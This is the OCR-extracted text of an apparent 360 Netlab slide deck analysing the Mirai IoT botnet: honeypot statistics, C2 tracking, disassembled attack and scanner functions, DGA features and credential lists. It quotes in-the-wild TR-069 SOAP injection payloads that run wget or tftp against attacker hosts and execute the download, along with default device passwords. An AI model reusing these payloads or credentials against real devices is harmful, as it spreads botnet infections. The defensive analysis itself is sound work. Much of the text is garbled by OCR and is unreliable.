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2016-09-06, we noticed massive scans against TCP ports of 23/2323
e 2016-10-15, we wrote our first Mirai blog: “A quick stats on the 608,083
Mirai IPs that hit our honeypots in the past 2.5 months”

— http://blog.netlab.360.com/a-quick-stats-on-the-608-083-mirai-ips-that-hit-our-
honeypots-in-the-past-2-5-months/

e 2016-11-29, we added support for TCP port 7547 and 5555 scanners, and
wrote a blog on that: ”%%pl%f“%m MiraifB ' B 2% (5 3 b A (B &

— http://blog.netlab.360.com/a-mirai-botnet-evolvement-new-variant-and-old-c2/

e 2016-12, we wrote 2 blogs on Mirai DGA variants:
— “Now Mirai Has DGA Feature Built in”
— “New Mirai DGA Seed 0x91 Brute Forced”


http://blog.netlab.360.com/a-quick-stats-on-the-608-083-mirai-ips-that-hit-our-honeypots-in-the-past-2-5-months/
http://blog.netlab.360.com/a-quick-stats-on-the-608-083-mirai-ips-that-hit-our-honeypots-in-the-past-2-5-months/
http://blog.netlab.360.com/a-mirai-botnet-evolvement-new-variant-and-old-c2/
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Home DGA EK MalConn } nner Mirai C2 DRDoS Reflector

Mirai Scanner

Description Bot IP Check

This page displays daily Mirai statistics, which includes daily new, daily active, and total counts of all devices that infected with

Mirai (

)

We also provide a activated mirai C2 data feed

Visitor can also download a sample of the infected bot IPs (active bot IPs between 08/01 and 08/08), and full list of 1Ps can be

acce:;

Events

@ 2017-02-08:

& 2017-02-07:

& 2016-12-19:

& 2016-12-12:

& 2016-11-29:

ssed by sending an email to

Bot IP List Download
Support for port 32 and 19058 mirai variants added
Suppeort for port 22 and 2222 mirai variants added

Two million mirai bot ip recored

Support for port 6789 mirai variants added

Support for port 23231 and 37777 mirai variants added

Support for port 7547 and 5555 mirai variants added

http://data.netlab.360.com/mirai-scanner/

netlab.360.com



netlab.360.com

“THEE 2 Mirai 253584

Mirai C2

Description Download Feeds
This page displays an overview of the mirai C2s related information, and qualified security researchers may also apply for full data For full data access, Send an email to
access by sending an email to to apply.

Note:Those C2 servers we tracked but have never received attack commands from are not counted in our datasets.

We also provide a mirai bot scan activity data feed and a collection of mirai analysis blogs on our

Recent Target

Time c2 Attack Type Target Port Duration

201 1-16 03:44:10 %% club:23 udp_flood .144.52/32 0 20

2017 03:42:21 s*%% m:23 udp_plain_flood 1.239.10/32 0 30

201 03:42:10 udp_plain_flood .239.10/32 0 30

201 03:40:48 66.151.138.9/32 0 a0

201 03:40:38 udp_plain_flood 66.151.138.9/32 0 a0

201 03:39:09 syn_flood 72.5.1 33/32 0 20

201 -16 03:38:58 s*%% m:23 syn_flood 725 .133/32 0 20 =

http://data.netlab.360.com/mirai-c2/
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Attack Comman d Target

Attacked Port Attacking Vector
\\Q I| ‘
I
i3 |
025565 MO0 W80 443 [l 22 W 8181 43594 [ 53 1 udp_flood MM http_flood Ml stomp udp_plain_flood
W 2074 806 0 11000 MW 805 WM 7777 15050 M 23 M tcp_ack_flood M syn_flood gre_ip_flood [ unk [l vse
M 5190 808 0 5000 M 3306 4437 gre_eth_flood " dns_flood B unk_11 B unk_ 12 unk_13

http://data.netlab.360.com/mirai-c2/
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MiraifZ #

o HFETCPYR 123412323
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RATEET hontelFF & 1 — i il Telnet 22 i

— Hontel: %:7TLinux chrootHl i

fH Python T 7% () T 25

e https://github.com/stamparm/hontel

AT b gt

— Bug fixing

— Hooking shell command to prevent sample running
— Simulating loT devices (e.g., setting up fake /proc/cpuinfo)

— URLX 44 M s

* mirai.x86, mirai.arm, mirai.m68k, mirai.mips, mirai.mpsi, ...


https://github.com/stamparm/hontel
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e 2016/11, I T EFXITCP 7547/5555% [ 3344

<?xml version="1.0"?><SOAP-ENV:Envelope xmIns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>
<u:SetNTPServers xmins:u="urn:dslforum-org:service:Time:1">

<NewNTPServerl>'cd /tmp;wget http://srrys.pw/1;,chmod 777 1,./1'</NewNTPServerl>
<NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3>
</u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>“

o AT PythonbottlelpasteFEH & | — P 3ETHTTPHY
T
— RBEAETHZ3ZHTTP POSTIE K, T NewNTPServerl tag N 1) 4 25



演示者
演示文稿备注
https://arstechnica.com/security/2016/11/notorious-iot-botnets-weaponize-new-flaw-found-in-millions-of-home-routers/
https://isc.sans.edu/forums/diary/TR069+NewNTPServer+Exploits+What+we+know+so+far/21763/
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Infection vectors/sources Unique samples

Telnet (TCP ports 23/2323) 1,789
Virustotal 1,223
TCP port 7547

253
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Mirai ) B 5 A et

noozz: soor. attack_init (voiq)

002a. o .../bot/attack.c

ooozZ4: int i;

00025:

00026 add_attack{ﬂTK_VEC_UDP, [RTTECK_FUNC]attack_udp_generic};
00027: add_attack{ﬁTK_VEC_VSE, {BTTBCK_FUNC]attack_udp_?se};

ooo028: add_attack{ﬁTK_VEC_DNS, {BTTBCK_FUNC]attack_udp_dns};

00029 add_attack{RTK_VEC_UDP_PLRIN, {BTTBCK_FUHC]attack_udp_plain};

JJJJJJ

[
[
[

add_attack{ﬁTK_VEC_SYN, {BTTBCK_FUNC]attack_tcp_syn};
add_attack{RTK_VEC_ACK, [BTTBCK_FUNC]attack_tcp_ack};
add attack (ATE_VEC STOMP, (ATTACK FUNC)attack tcp stomp);

]
]
]

[
[
[

[
[
[

]
]
]

add attack (ATK VEC GREIP, (ATTACK FUNC)attack gre ip);
add attack (ATE_VEC GREETH, (ATTACE_FUNC)attack gre eth);

o I T O iy Y O N O Y

[
[
[

]
]
]

/[ add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
add_attack{ﬁTK_VEC_HTTP, {BTTECK_FUNC]attack_app_http);

[
[
[
e RN 4 I

[
[
[

[
[
[
YT W I R I T S D P I AP PN I T B T

return TRUE;
¥ ? end attack_init ?

[

]
]
]

-]
-]
-]
1
[ %]



netlab.360.com

attack inittR ZL N J LT A
3'2%‘11%[[]1& ] 7759_@

- soor attac k_init (void)

int i;

1: return TRUE;

2: } ? end attack_init ? #define
#Fdefine
#Fdefine
#Fdefine
#Fdefine
#Fdefine
#Fdefine

.../bot/attack.h #define

add attack (ATK_VEC_UDP, (ATTACE_FUNC) a.ttack_udp_generic) ;
add attack (ATK_VEC_VSE, (ATTACE_FUNC) atta.ck_udp_vse) ;

add attack (ATK_VEC DNS, (ATTACK FUNC)attack udp dns);

add attack (ATK_VEC_UDP_PLAIN, (ATTACK FUNC)attack udp plain);

add_attack (ATK_VEC_SYN’, (ATTACE_FUNC)attack tcp syn) ;
add attack (ATE_VEC_ACK, (ATTACK FUNC)attack tep ack);
add _attack (ATK_VEC_STOMP, (ATTACK FUNC)attack tcp stomp);

add attack (ATK VEC GREIP, (ATTACK FUNC) attack_gre_lp) ;
add attack (ATK_VEC_GREETH, (ATTACE_ FUNC) a.ttack_gre_eth) ;

[/ add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
add attack (ATK_VEC_HTTP, (ATTACK_FUNC) attack_a.pp_http} H

ATK_VEC_UDP
ATK_VEC_VSE
ATK_VEC_DNS
ATK_VEC_SYN
ATK_VEC_ACK
ATK_VEC_STOMP
ATK_VEC_GREIP
ATK_VEC_GREETH

[ /#define ATK_VEC_PROXY

#define
#define

ATK_VEC_UDP_PLAIN
ATK_VEC_HTTP

- LA L R

9

HH T 10F
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0~10:Z 8] f) 95 2 i

JI,I‘J-C

S5traight up UDP flood */

Valve Source Engine query flood */

DNS water torture =/

5YN flood with options */

ACK flood =/

ACK flood to bypass mitigation devices */
GRE IP flood =/

GRE Ethernet flood */

8 /* Proxy knockback connection */

JI,I‘J-C

Plain UDP flood optimized for speed */

18 /% HTTP layer 7 flood */
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s =

push
sub
push
push
call
moyv
moy
moy
pop
®or
mow
pop
lea
push
mow
push
call
mow
=or
moyv
inc
mow
mouv
mow
pop
pop
push
push
call
mou
moy
mov
pop
®or
moy
pop
lea
push
mow
push
call
may
®or

may

public attack_init
attack_init proc near

ebx

esp, 18h
B

1

calloc
ebx, eax

byte ptr [eax+4], @
dword ptr [eax], offset attack_udp_generic
Bax

Pax, eax

al, ds:methods_len
edx

eax, ds:hfeaxwh]
Pax

eax, ds:methods
eax

realloc

dl, ds:methods_len
BCH, ECX

cl, dl

edx

ds:methods, eax
[eax+ecx=s], ebx
ds:methods_len, dl

BCH

ebx

#

1

calloc
ehx, eax

byte ptr [eax+4], 1
dword ptr [eax], offset attack_udp_uwse
eax

Bax, ea)
al, ds:methods_len
edx

eax, ds:h[eax=h]
Bax

eax, ds:methods
eax

realloc

dl, ds:methods_len
LK, BCX

cl, di

edx

ds:methods, eax




z

Function name
.z' attack_init
|1 attark Lill all
i it
Line 39 of 152

b, Graph overview

il ’Jattack init ) FLRFIE
o HEHHENHIIES
o ZHIEHEMT,

M=

public attack_init
attack_init proc near

push ebx

sub esp, 16h

push 8

push 1

call calloc

mov ebx, eax

mou byte ptr [eax+4], @
mou dword ptr [eax], offset attack_udp_generic
pop eax

xor eax, eax

mov al, ds:methods_len
pop edx

lea eax, ds:h[eaxxh]
push eax

mov eax, ds:methods
push eax

call realloc

mov dl, ds:methods_len
xor ecx, ecx

mov cl, dl

inc edx

mov ds:methods, eax
mou [eax+ecx=4], ebx
mov ds:methods_len, dl
pop ecx

pop ebx

push ]

push 1

call calloc

mov ebx, eax

mou byte ptr [eax+h], 1
mou dword ptr [eax], offset attack_udp_uvse
pop eax

xor eax, eax

mov al, ds:methods_len
pop edx

lea eax, ds:4[eax=y]
push eax

mov eax, ds:methods
push eax

call realloc

mov dl, ds:methods_len
xor BCX, ecx

mov cl, dl

inc edx

mou ds:methods. eax

100.00% (-35,-21) (1502,657) 00002683 0B04R683: attack init+l3 (¢

PR,

— calloc and realloc

o calloclt)Z=4

netlab.360.com
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add_attack
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— X FM68K cpuN1F16

o WA
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E calloced [f122
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01234567910 2109
0123 65
01234 54
012345678910 44
0123456791012 26
0123456791011 12 17
0123456791011 11
01234678

0123456709 4
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KT table init

void table_init (void)

|
. < add_entry (TABLE_CNC_DOMATIN, ™\x41\x4Ch\x41\x0C\x41\x4A\x43\x4C\x45\x47T\x4F\x47\x0C\x C2 Se rve r/port
: —~ (TABLE CNC PORT, ™\x22\x35", 2);: [/ 23

@entr}r (TABLE SCAN CE DOMAIN, "\x50\z47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x \x4F\x47\x0C
: Lentry (TABLE_SCRN_CB_PORT, "\x99\xC7", 2); [/ 48101
. add_entry (TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15) re p O rt Se rve r/p O rt

/! safe string https:// youtu.be/ dQwawoWgXcQ

add entry (TABLE RILLER SAFE, "\x42\x56\x56\x52\x51\x18\x0D\x0D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46 \x73\x55\x16\x55 \x1B\x75\x45 \x7TA\x41\x73\x22", 29);
add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7);

add_entry{TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5};

addientry{TABLE_KILLER_DELETED, "\x02\x02\x46\ x4 7 \x4E\x4 7 \x56\x47\x46\x0B\x22", 11);

add_entr'y{TABLE KILLER_FD, ™\x0D\x44\x46\x22", 4);

add_entry (TABLE_RILLER ANIME, "\x0C\x43\x4C\x4B\x4F\x47\x22", 7);

add entry (TABLE_KILLER_STATUS, "[\xDD\xSl\x56\x43\x56\x57\x51\x22", 8);

add entry (TABLE MEM QBOT, ™\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13);

add_entry(TBBLE_MEM_QBOT2, "A\xEAAxTEARTEAXT2\x64 \x6E\X6D\x6D\x66\x22", 10);

add_entr-y{TABLE MEM QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10);

add_entry (TABLE_MEM UPX, "\xTEA\xS5A\x1T\x1A\xTE\xS5A\x16\x66\xTE\®S5A\x16 \x67\xTE\xS5ANX16 \x6T \xTEARSA K16\ x1 1\ TEA RS2 \x1 T\ x1 2 \ 2 7TE\ x5\ 216 \ 214\ x TEA x5 \x10\x10"
add entry (TABLE_MEM ZOLLARD, ™\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8);

add _entry (TABLE_MEM REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11);

add ent: —SeEN CHELL, "\xS51\x4A\x47\x4E\x4E\x B
- Ty (TABLE SCAN ENABLE, "\=x47\x4C\=x43\x40\x4E\x47\x22", 7);
add_entry(TABLE_SCBN_SYSTEM, "\x51\x5B\x51\x56\x4T\x4F\x22", T);
add entry(TABLE_SCAN_SH, "\x51\x4A\x22", 3);

addientry(TABLE SCAN QUERY, "A\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02
add entry (TABLE_SCAN_RESP, "\x6F\x6B\x70\x63\x6B\x18\x02\x43\x52\x52\x4E\x47\x56
add entry (TABLE_SCAN NCORRECT, "\x4C\x41\x4D\x50\x50\x47\x41\x56\x22", 9);

HIHH BTS2
(TRRLE_SCREN_PS, "\z0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x x02\x52\x51\x22", 16€);

LN _EITL 2, "\xz0D\z40\=x4B\xz4C\=x0D\x40 x40\ x4D\x5A\X02\ x4 S\ x4B\x4E\x4E\x02 \x0F\x1B\=x02\x22", 22);

TE_VSE, "\x76\x71\x4D\x57\x50\x41\x47\x ®45\x4B\x4C \ x4 T\ 202 \x73\x57 \x4 7\ x50\ x5B\x22", 21);
ntry (TABLE_. "ATE _ RESOLVER, "\x0D\x47\x56\x41\x0D\x50\x47\x51\x4D\x \xDC\x4l\x4D\x4C\x44\x
add_entry (TABLE_ATK_NSERV, "\x4C\x43\x4F\x47\x51\x47\x50\x54\x47\x50\x02\x22
- ‘ — —
add entry (TABLE_ATK KEEP_ALIVE, "\x61\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x02 b4 I Z j%
add_entry (TABLE_ATE_ACCEPT, ™\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5A\x56\xQPAx4A\x56 \x4F\R4E L_l 1 T =, x5R\:
add entry (TABLE_ATK ACCEPT_LNG, "\x63\x41\x41\x47\x52\x56\x0F\x6E\x43\x4C\x. 57\x43\x45\x47\x18 x0C\:

(TABLE_ATR CONTENT _TYPE, "\x61\x4D\x4C\x56\x47\x4C\x56\x0E BAx5Z2\x47\x18\x02\x43\x [5SA\x5!
add | entry (T. —SET_COORTIE, "\xS51\x47\xS56\x61\xAD\xd BAx47\x0A\x05\x22", 12):
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233 [ table initeR B 2 FLRE

‘unction name E IZ:H@
f| sysconf

f| table_init \ N
i EEE o Val 3 ) public table_init . I:l EJJ /‘7\ $A E@ } ; -L ':l l ﬁ%
[ table_init pFnc near / \ l:' I:'

ine 133 of 152

rmyyn

B Graph overview O & x var_1C= dword ptr —1Ch N
push ebx — I % : I 5 OO j:
sub esp, 14h E[
push 1Eh
call malloc
add esp, BCh
mov ebx, eax
push 1Eh
push offset afla ; “ALA™
push eax
call util memcpy £§7 M/ J _'—__-I—__A: \) ) )
mov ds :duord_BB569B8, ebx [ ) a e nt r
mov [esp+1Ch+var_1C], 2 ﬁ
mov ds:word_88569BC, 1Eh —

2 3 (inline)tit, & Fmalloc

push offset unk_8A54D56

push eax .

call util_memcpy

mou ds:dword_88569CH0, ebx l:l utll I ' 'e' ' 'pr

mov [esp+1Ch+var_1C], 1Dh —

mou ds:word_80569Ch4, 2

call malloc

add esp, OCh

mov ebx, eax

push 1Dh

push offset unk_8A54D59

push eax

call util_memcpy )—“—r » » ML
mov ds:dword_B8856A38, ebx ) AZ:\ N l:l / \ N 2
mou [esp+iCh+var_1C], 2 L [ I &
mou ds:word_8856A34, 1Dh

call malloc

w 2/34& %5 util_memcpy

push offset unk_8A54D6E

push eax

call util_memcpy

mov ds:dword_8856A38, ebx
mov [esp+1Ch+var_1C], OFh
mou ds:word_8856A3C, 2

100.00% (-87,-11) (536,5) 000093A3 080513A3: table_init+33 (Sync
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Ea ) /fﬁ I /J\ 15 IJ 1 MD5=f7ae676c32040f796e91de2db15950e3

"cheatsthebike.club"  "MIRAI: applet not found"

-port 23 e "ncorrect"

"cheatsthebike.club" e "/bin/busybox ps"

-port 48101 e "/bin/busybox kill -9"

"listening tunQ" e "TSource Engine Query"
"https://youtu.be/dQwiw9oWgXcQ" e "/etc/resolv.conf"

"/proc/" e "nameserver"

"/exe"  "Connection: keep-alive"

"(deleted)" e "Accept:

"47 102.100.0" text/html,application/xhtml+xml,appl
" anime" icati(:n/xmI;q=0.9,image/webp,*/*;q
" [status" =08

e "Accept-Language: en-US,en;q=0.8"
"REPORT %s:%s" o P B EUag S q
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E N I=PIRny4 J\ ﬁ 2 MD5=dc1d45b1e955b34a6c8349b4ece5118

 "friend.dancewithme.gq"

o "ktn"
e -port 7756
“por ' ) « "dvrLoader"
 "friend2.dancewithme.gq e "dvrRunNer"
e -port 7362 diakdnou

 "ndjakdnau"

* "gosh that chinese family at the other "3sdnndnakk"

table sure ate alot"

e "/proc/" e "hdjakdjap"

e "/exe" e "shell"

e "(deleted)"  '"enable"

e "47.102.100.0" e ‘"system"

e "/maps" e« '"sh"

e  ANIME" e "/bin/busybox MASUTA"

e "dvrHelper" e "MASUTA: applet not found"
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Lines vs Sizes

30k

25k

20k

Size

15k

Bl (99, 2669)

7%

o] =H

Mirai samples vary greatly in configuration size and lines

300

400

1%

Sample Count
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SSSSSSSSSSSS e cluster_ 1&c|uster 2: fEHTTP

G flood ™ BE ST 2 A LAHTTP
agentEl’BEﬁP
ctuben 1 — SR ISR
&) duster — Cluster_1: ~110%F

— Cluster_2: ~1807%F

e cluster_3: X W.DGAZEF, FlE
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Miraill) 3 Fi s b

o Miraiff H J B & X FEZRA AT TISYNE,
— B HH23/2323%

o [A|BfZBE—HLH P AR O 4T 5221 telnet £ 1 il fie
— BB ZIE T 62X H A4

o IR TAELE—"1% N scanner_init!] 0+ 58 )%
— H—"Mork() kiR b AT



>

230k

Function name

ill [\lscanner_ini

Segment Start
7] sbrk text 08054869
Fil scanner init

Line 116 of 152
AR Graph overvier

t()E

moy
moy
call
moyw
mow
moy
and
mou
or
moy

call
moy
moy
mowv
call
moy
moy
mow
call
moy
mow
mou
call
moy
mov
mou
call
moy
mow
mouv
call
mou
mow
mon

M/

ds:scanner_rawpkt, 45h
ds:word_BOS6902, 2800h
rand_next

ds:byte_ 8056908, 48h
ds:word_8056904, ax
al, ds:byte_ 8056920
eax, OFh
ds:byte BOS4989,
eax, 50h

ds :word_BO56916, 17000
ds:word_8056914, bx
ds:byte_ 8056920, al
rand_next

ecx, BAnh

dszword_BO56922, ax

edx, offset unk_BOS4BCS
eax, offset aPmmy ; “PHHU™
ds:byte_ 8856921, 2
add_auth_entry

BCx, ¥

edx, ofFfFset aTKxzt ; "THXZT™
eax, offset aPamu ; PHHU
add_auth_entry

ecx, 8§

edx, offset aCfokl ; "CFOKL™
eax, offset aPamu ; “PHIU"
add_auth_entry

edx, offset aCFokl ; “CFPOKL™
eax, edx

ecx, 7

add_auth_entry

BCK, 6

edx, offset unk_BB854BD1

eax, offset aPnmu ; "PHHU"
add_auth_entry

BCH, 5

eds, offset aZojfkra
eax, offset aPmamu ;
add_auth_entry

BcK, 5

edx, offset aFgdcwny "FGDCUHU
eax, offset aPmamu ; “PHHU"
add_auth_entry

ecx, 5

edx, offset aHwclvgaj ; “HUCLUGAJ"
eax, offset aPmmu ; “PHHU
add_auth_entry

ecx, 5

edx, offset unk_8854BF1

eax, offset aPmmu ; “PHHUY
add_auth_entry

ecx, 5

edx, offset unk_BOS4BFE

epav  nFfcat aPmmn - CPHEI

o
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The scanner _init function

Function name
7 shrk

Line 116 of 152

Al Gragh ovarviem

Segment

Srart

OR0S4365
[

v

h 3
Tl e =
oy AnnEE_FAMPKE,, 456
mou ds:word_B056902, 2800n
call rand_next
iy nchyte BESEOA8, &0
mou ds:word_B056904, ax
moyv al, ds:byte_80sa¥i0
amd ax, OFh
moyv ds:byte_BEsovow, o
ur
mou ord_B056916, 170dh
moyv ord_BEs6¥14, bx
mw yle BESAO2N, a1
call rand_next
v v, Bl
mou ds:word_B@56922, ax
moyv edx, offFset unk_BUSWECS
i wax, offuel aPamu ; CPHHUT
or ds:byte_BosE921, 2
call add_auth_entry
oy ecx, 9
oy edx, offFset alkxzt ; “THNZI"
mw wax, offsel aPm ; w
call add_auth_entry
oy eCH, B
i edx, offuel abfokl
oy eax, offset arnav ;
eall ad auth entry
oy eox, offset acfokl :
oy eax, edx
mw e, T
call add_auth_entry
oy BCH, 6
mou edx, offset unk_8054001
oy eax, offset afmmv ; PRIV
call aldd_auth_entry
oy e, 5
oy edx, ofFset aZojikra ; "ZUJFRHR"
mw wax, offsel aPmm ;
call add_auth_entry
o o,
oy edx, offset argdeunu @ “FEOCHE
oy eax, offset afmav ; e
eall ad auth entry
oy ecx, 5
oy ik, oEESeD aHucluga
o eax, offset afnms ; *f
call add_auth_entry
mw i, 5
mou edx, offset unk_80540F1
oy eax, offset afmmv ; °
eall add_auth_entry
oy BCH, 5
i edx, off: unk_ ABOSLREFA

maw  affsat abamn = CPHHI

S Eib

d

e

]

- REIHH

1 i e B
NOx17

H 7 44 0 418 A
dd_auth_entry #2542 N 17

netlab.360.com
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Eﬁnz- 47547 Vi

md5=73f4312cc6f5067e505bc54c3b02b569, scan_port=7547,
credentials={"10:ROOT:ADMIN", "9:ADMIN: ADMIN"
"8:b64_41VQUE9SVA==:b64_41VQUE9SVA=="
"7:ROOT:READYPLAYERONE", "7:ROOT:READYPLAYERONE",
"7:ROOT:READYPLAYERONE"}

e md5=49906032a4be8440a8fd07158f05c33c, scan_port=7547,
credentials={"10:root:xc3511", "9:root:vizxv", "8:root:admin",
"8:root:admin", "8:root:admin"}

e md5=49a304cf810697b7f28dd01274e2882ca, scan_port=7547,
credentials={"10:root:xc3511", "9:root:vizxv", "8:root:admin”,
"8:root:admin", "8:root:admin"}.
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DGAZAS Fir

o HIITFEEFE11H TN, GEHEIITCP 7547/&H;

— “Now Mirai Has DGA Feature Built in”
— “New Mirai DGA Seed 0x91 Brute Forced”

o (EC2HH EBEIRMITURMETSE
— R T DGA, Jag: X I 1 K IPGATIE 4 AL C2 IPH J7 1\

o WBFEA FH T 4E8.8.8.8JDNS resolver

o FEARKREHE [exploit, A[FTHE FIMiraifs4% 77 =0
— FERLIT FE H Hgafgyt



Bugged vs bug-fixed

Point 1: 2 coded versions

‘Graphuvrrwew L 4 4 all
1

|
|
|
i

.online TLD i ‘

| | ‘ .online TLD
.tech TLD ‘ = -
| Support TLD| 4. h TLD

.support TLD |

I

Bugged Bug-fixed
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DGA Seed before our blog...

ax41000a8)

i

"iloveyouthreesixty'

UUUUUUUUUUUUU W TRy W rpr 3 TR TETRC twass | ooar
88482068 jalr St 5:D hBE?DB
8849 86C move $al, $s8
a4 e9878 1w $gp, O=z40+var_30(5sp)
884987 L move $a1, $zero
apgLAaaFse la 4an, loc_4106008
UG L Gy . Y ?i—n, =k I M= =N TaNC]
I 00409080 addiu $a@, (aRsarrsar — Bx410008) # “[E0|SH I
loanEoagn 2l 4£0 - _cub k12000
ag4e9088 1i 4$a2, 8x18
e84 a988Cc 1w $gp, O=z40+var_30(5sp)
apL4e9090 move $a@d, 35so
apgLaeaes la $to, sub_48EDS8
8048920898 nop
AR LA R E S SN - —ah IhRCHLC R
AfLAPA78 addiu $s8, 5sp, Ox4B+var 28
08409874 jalr $t9 : sub_4OFA98
ANLAPA7E moue $an, %s8
aguA2a7Cc luw $gp., Ox4b+var_30(3sp)
Seed after our blog 80402880 moue $a1, $zero
eee agLA2aAEL 1a $aa, loc_4190a80
04 9988C addiu $aa, {(alloveyouthrees -
ao409898 11i $az, 8x12
ALAP A8 1w $gp, Ox40+var_ 30(3sp)
agn A2 a2 C mouve $a@, 5=0
0040890800 la $t9, sub_ 410810
08499848 nop
N T T N T - R e, Lo I e T Y

MD5=ADACE72B5981D7281E57847701122EDD
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IPGA feature

L ]
=
1R00699 8
10006008 loc_18006000:
1000990 B0 FC 18 AC 1wz rF, DIHAC(r28)
10006994 BO 1D 18 AR 1wz v, B1BAB(r2T)
10006008 58 FR 60 FF srul rit, r¥, 1%
THNAYYE BT S0 18 A luz 10, MTHAN{FE9)
TRDO69AR 5k B9 5B 28 slui o9, i, 11
10006944 TC ER S 78 xor i, r7, el
TRINGYAE FE A0 &R 7R ®ar r ri, r9
TRDOS9AC BT 1L 16 A8 1wz B, Be1BAB(rIa)
1R00690R TC @0 5A 76 Hor i1, ra, ri1
T0NGYEL 56 BB B2 3E arui ra, ro,
10006988 TC 0B 5n 78 nor vl rd, i1
1R0069C 71 50 16 AR stu r1B, DIBADrET)
o '] TRNAYER 91 10 18 A4 atu rH, BIHAL(F2D)
I PGA-IP n r tl n I rlthm T000BYCY DO FE T8 08 stu 7, BeIBAS(rIE)
. ge e a o a go 1RI069CA §1 7C 16 AC stu F11, BIBAC(rEE)
ABMGOCE &R OB 00 18 b loc_ 10084900
=
L2 ]
W=
10084905
1000690 1oc_1000690C:
TNABLIDE 55 A9 SH PR slwi e, 1B, 11
TOOBGTED &% &0 6C FE srwi ro, r11, 1w
10ABGIEN 7D 2% 52 TR ®or re, r9, r10
A00BG9ER TC 00 S TR wor
. TUOBGYEC JO 20 W2 78 wor
I PGA 100BG9FD 55 29 C2 3F el
IS a a C O r 100869F A 70 30 07 TR wor
TOOBGTFEE JO DA B3 TR nr
10ABASFE 55 IF hb IE srwi
A008GA0N IR 1F FF AN addi
TNABLANS 54 D0 BH 3E clriwi
100B6ANE 20 B0 A8 07 coplui
A00BGANC A1 9D FF Ch bt crf, loc_ 100084900
¥ ¥
"= 1=
T00BGATH I8 40 B0 10 1i ra, mo LU
100B6A1E 91 3C 18 AL stw r9, Bx1BAC(r28) 10006508 loc_10884508
10086A1R 01 7F 1R AR stw ri1, oigaR(ring 10006008 7C FR 3R TR L ri, r¥
Get a ra nd I P fro m a |OO THABAATE AF G018 02 lis a0, word_180 30 0mn TOROAYOL 7D 67 SE IH - rr,rn
100B6AZ 98 FD 10 AN stw ©7, Bx1BAR(r29) 18006908 70 20 4B 70 s 11, 9
10086AZN 01 1R 1R A0 stw ri, iRan(r2?)
TUABGAZE BH D0 SH AS bl Sub_10B0CREG
10ABGAZE IC B0 18 01 1is ri, ab_D_D_Dha &
10086630 7C 70 10 TR n r2e, rd
1U0BGAZN I8 BN FO BE addi rh, rh, ab_D_D_DEL a1
100B6AZ8 7T EB TD TR " v, ril
10AB6AIC T8 AD BB B9 11 r5, By 185
100BGAND 3H C0 BA P3 1i raé, m?3 23
T00BGANE I8 ED 00 EE 1i r¥, mxEE 139
10ABGANE WE C6 01 82 crele necriseq
TUABLANE A B0 3R 59 bl cub_1OBDAKAN (=3
T00BGASH FF AZ EB TR nr ra, r29
100B6A5N 40 00 54 B9 bl sub_1epoprep 155231300
100B6ASR 30 IF 30 00 addi e, rin, word 1002390081
TOOBGASE Y0 &% B0 0% stw 3, (dword_1002390h < word_100R3IF00)(rY)
108B6A&0 B0 FF TT BB b Toc_18006918
1n0asAsn = nosub_ 10O0GRI D
TnnBaAsn

MD5=7735980EF8C3B047A79101EAF9C3231F
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C-style IPGA

dof
rand_octet = rand_next()
} while(rand_octet >99 [ | rand_octet<92);
sprintf(cnc_buf, “%d.%d.%d.%d”, 185, 35,139, rand octet );

// cnc_buf is the new C&C now
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A BLE B AL & EH X tr-069 11 exploit

<?xml version="1.0"?><SOAP-ENV:Envelope xmIns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>
<u:SetNTPServers xmIns:u="urn:dslforum-org:service:Time:1"> <NewNTPServerl>'cd /var/tmp;cd
/tmp;tftp -1 b -r b -g vizxv.pw;sh b’</NewNTPServerl> <NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3> <NewNTPServer4d></NewNTPServer4d>
<NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-
ENV:Envelope>"

<?xml version="1.0"?><SOAP-ENV:Envelope xmIns:SOAP-ENV
="http://schemas.xmlsoap.org/soap/envelope/" SOAP-
NV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>
<u:SetNTPServers xmIns:u="urn:dslforum-org:service:Time:1"> <NewNTPServerl>'cd /var/tmp;cd
/tmp;tftp -1 b -r b -g vizxv.pw;sh b’</NewNTPServerl> <NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3> <NewNTPServer4d></NewNTPServer4d>
<NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-
ENV:Envelope>"

MD5=3ca373998abe47bbd13b987e7e2029bd
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cluster 1 & cluster 2

Size

30k

25k

20k

15k

10k

5k

-100

Lines vs Sizes

Mirai samples vary greatly in configuration size and lines

cluster_2

cluster_1
@ Sample Count
L
3

ve
’ . * LN
O e B (99, 2669)
aDe o v N
0 100 200 300 400

Lines
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A B9 NN NHTTP agent

"Mozilla/5.0 (Windows NT 10.0; WOW®64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103
Safari/537.36"

